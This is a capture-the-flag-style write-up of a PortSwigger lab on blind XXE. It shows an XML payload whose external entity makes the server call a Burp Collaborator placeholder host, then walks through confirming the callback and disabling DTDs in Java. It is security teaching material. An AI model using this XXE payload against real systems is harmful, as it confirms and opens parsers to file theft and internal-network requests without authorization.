PlatformPortSwigger Web Security Academy
TopicXML external entity (XXE) injection
LabBlind XXE with out-of-band interaction
DifficultyPractitioner
GoalMake the parser issue a DNS lookup and HTTP request to Burp Collaborator
ToolsBurp Suite Professional (Repeater + Collaborator)

What makes this blind?#

In the file-retrieval lab the external entity’s value was reflected in the response, so we could read /etc/passwd straight back. Here nothing useful comes back: the application parses our XML but doesn’t echo the entity anywhere. That’s blind XXE, so we need a different signal that the entity resolved.

The signal is an out-of-band (OOB) one. Instead of pointing the entity at a local file, we point it at a server we control and watch for the parser to reach out. If a request arrives there, the parser processed our external entity, even though its response never shows us anything.

The server we control is Burp Collaborator , a Burp Professional feature that hands out a unique domain and records any DNS (Domain Name System, which resolves names into IP addresses) or HTTP interaction sent to it. Make the parser look up a Collaborator subdomain and the incoming interaction is our proof.

Finding the injection point#

The endpoint is the same XML stock-check as the file-retrieval lab : Check stock sends a POST /product/stock whose body is XML, parsed server-side. Capture it and send it to Repeater. The baseline body is:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

Exploitation: a Collaborator callback#

Declare an external entity whose URI is an http:// Collaborator domain, then reference it in productId so the parser resolves it:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

Piece by piece:

  • <!DOCTYPE stockCheck [ ... ]> adds an inline DTD (Document Type Definition), the section where entities are declared, before the root element.
  • <!ENTITY xxe SYSTEM "http://…"> declares an external entity named xxe. SYSTEM plus an http:// URI tells the parser to fetch that URL when the entity is used, which is what makes the server reach out to us.
  • &xxe; references the entity inside <productId>, forcing the parser to resolve it (and so perform the fetch) while processing the document.

Rather than paste a Collaborator domain by hand, select the placeholder, right-click, and choose Insert Collaborator payload. Burp drops in a fresh, unique Collaborator subdomain:

Burp Repeater with the XXE DOCTYPE payload and the right-click menu showing Insert Collaborator payload
The external entity points at an http:// Collaborator domain; Insert Collaborator payload fills in a unique subdomain.

Send it. The response is a blind 400 Bad Request with "Invalid product ID", nothing that reveals the entity resolved:

The sent payload with a real Collaborator subdomain and a 400 Invalid product ID response
The response is blind: 400 ‘Invalid product ID’. Notice the Collaborator badge ticking up in the toolbar, interactions have already arrived.

Confirming the interaction#

The proof is out-of-band, so open the Collaborator tab and click Poll now. The server’s fetch of our subdomain shows up as an interaction from the target, so the parser resolved the external entity and made the request:

The Collaborator tab after Poll now, showing an HTTP interaction received from the target
Poll now: an HTTP interaction from the target has arrived, with Collaborator’s own 200 OK shown. The command reached out, so the lab is solved.

Because the whole signal comes over a side channel rather than the app’s response, there’s nothing to read inline, the interaction is the result, and the lab is marked solved.

Real-world impact#

A blind callback looks modest, but it confirms the parser processes attacker-controlled external entities, and that is the doorway to real damage in an authorized engagement:

  • Confirming otherwise-invisible XXE — many XXE points reflect nothing; an OOB interaction is often the only way to prove the parser is vulnerable at all.
  • Out-of-band data exfiltration — the same channel upgrades to stealing file contents by pairing it with a malicious external DTD that reads a file and folds it into the URL the parser requests.
  • SSRF into the internal network — pointing the entity at internal hosts or cloud metadata turns the parser into a request proxy (see the XXE-to-SSRF lab ).

Only ever against systems you are authorized to test.

Remediation#

The fix is the same as every XXE: stop the parser from processing DTDs and external entities.

  • Disable DTDs and external entities in the XML parser. With external entities off, the parser never fetches the entity’s URI, so the callback can’t fire.
  • Prefer simpler formats. If the endpoint doesn’t need XML, accept JSON and drop the XML parser entirely.

A concrete example, parser-specific (here Java’s built-in DocumentBuilderFactory), turning off document-type declarations:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — the most effective XXE defense
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);

The exact API differs by language and library, but the idea is the same: tell the parser not to process DTDs or external entities.

Key takeaways#

  • When XXE reflects nothing, switch to out-of-band: point the entity at a host you control and watch for the callback.
  • SYSTEM "http://…" makes the parser fetch a URL; &xxe; in a parsed field forces it to resolve the entity, firing the request.
  • Burp Collaborator (Pro) supplies the unique domain and records the DNS/HTTP interaction; Insert Collaborator payload wires a fresh subdomain into the request.